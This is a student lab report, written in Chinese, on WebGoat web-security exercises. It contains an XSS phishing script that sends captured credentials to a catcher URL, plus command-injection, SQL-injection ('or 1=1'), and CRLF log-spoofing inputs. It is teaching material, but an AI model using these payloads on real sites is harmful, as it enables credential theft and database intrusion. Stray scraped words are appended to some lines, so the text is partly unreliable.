2018-2019-2 網絡對抗技術 20165237 Exp9 Web安全基礎實踐

2018-2019-2 網絡對抗技術 20165237 Exp9 Web安全基礎實踐


實驗問題

  • (1)SQL注入攻擊原理,如何防護java

    原理:經過在用戶名、密碼登輸入框中輸入特殊字符,在處理字符串與sql語句拼接過程當中實現引號閉合、註釋部分SQL語句,利用永真式,從而達到登陸、顯示信息等目的。web

    防護:對輸入進行限制,包括輸入長度和特殊字符的類型等
  • (2)XSS攻擊的原理,如何防護sql

    原理:XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼(如,HTML代碼和客戶端腳本)植入到提供給其它用戶使用的頁面中,攻擊者能夠利用XSS漏洞旁路掉訪問控制。數據庫

    防護:收集JSP特徵,對內容進行嚴格驗證,規定格式。
  • (3)CSRF攻擊原理,如何防護瀏覽器

    原理:CSRF跨站請求僞造,也被稱爲「oneclickattack」或者sessionriding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用,經過假裝來自受信任用戶的請求來利用受信任的網站。是一種依賴web瀏覽器的、被混淆過的代理人攻擊。安全

    防護:在瀏覽器會話結束後清理cookie,在form中包含祕密信息、用戶指定的代號做爲cookie以外的驗證。cookie


執行java -jar webgoat-container-7.0.1-war-exec.jar開啓webgoat

Exp 9.1 Phishing with XSS

  • 原理:當用戶輸入非法HTTP響應時容易受到XSS攻擊。在XSS的幫助下,能夠實現釣魚工具或向某些官方頁面中增長內容。對於受害者來講很難發現該內容是否存在威脅。
  • 在搜索框裏輸入XSS攻擊代碼
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在表單內填寫的用戶名密碼會被捕獲發送給你

Exp 9.2 數字型盲注入和字符串盲型注入

  • 原理:某些 SQL 注入是沒有明確返回信息的,只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語。 目標:該題目容許輸入一個賬號,並檢測該賬號是否合法。使用該表單的返回信息(真或假)測試檢查數據庫中其它條目信息。咱們找到 pins 表中 cc_number 字段值爲 1111222233334444 的記錄中 pin 字段的數值。pin 字段類型爲 int,整型。輸入找到的數值並提交,經過該題目。網絡

  • 直接拿測好的數據進行注入
    session


Exp 9.3 Command Injection

  • 右鍵複選框,選擇inspect Element,在某個選項後加上"& netstat -an & ipconfig"
    xss

  • 在頁面中選擇該選型,而後點擊view,則會出現該命令執行的結果


Exp 9.4 Numeric SQL Injection

  • 原理:在station字段中注入特徵字符,組合成新的SQL語句。
  • 右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,在選中的城市編號Value值中添加 or 1=1
  • 攻擊成功,顯示全部城市的天氣狀況

Exp 9.5 Log Spoofing

  • 原理:在日誌文件中愚弄人的眼睛,攻擊者能夠利用這種方式清除他們在日誌中的痕跡
  • 接受用戶輸入的任何一個用戶名,並將其追加到日誌文件中。 利用入回車(0D%)和換行符(%0A),在 username 中填入 20165237%0d%0aLogin Succeeded for username: admin

Exp 9.6 Numeric SQL Injection

  • 原理:經過注入數字型數據,繞過認證,能夠經過普通員工的帳戶,查看到BOSS的用戶信息。
  • 右鍵點擊頁面,選擇inspect Element審查網頁元素源代碼,咱們能夠看到數據庫索引的依據是員工ID,推測返回的是每次查詢到的第一條數據。
  • 將員工ID的value改爲101 or 1=1 order by salary desc

Exp 9.7 SQL 注入

  • 原理:基於如下查詢語句構造本身的 SQL 注入字符串。 SELECT * FROM userdata WHERE lastname = '?'
  • 容許用戶查看他們的信用卡號碼。嘗試經過 SQL 注入將全部信用卡信息 顯示出來。嘗試的用戶名是「Smith」。 正常狀況下只能查詢到用戶名對應的信用卡號碼
  • 輸入查詢的用戶名 Smith' or 1=1-- (Smith 和1=1都成了查詢的條件,而1=1是恆等式,所以能查詢到表裏面的全部數據)


Exp 9.8 Cross Site Request Forgery

  • 原理:跨站請求僞造是一種讓受害者加載一個包含網頁的圖片的一種攻擊手段。
  • 當受害者的瀏覽器試圖打開這個頁面時,它會使用指定的參數向 www.mybank.com 的transferFunds.do 頁面發送請求。

實驗感想

  • 感想:

    作了這麼多練習,感受頗有成就感,尤爲是在這幾個練習中,遇到了這樣那樣的問題,後來都經過本身的自主學習解決了。這種在自主學習以後,動手實踐,發現問題、解決問題的過程,不只給予了我更多學習的信心和動力,也讓我在不斷解決問題的過程當中提高了本身各方面的能力,掌握了更全面的知識。

相關文章
相關標籤/搜索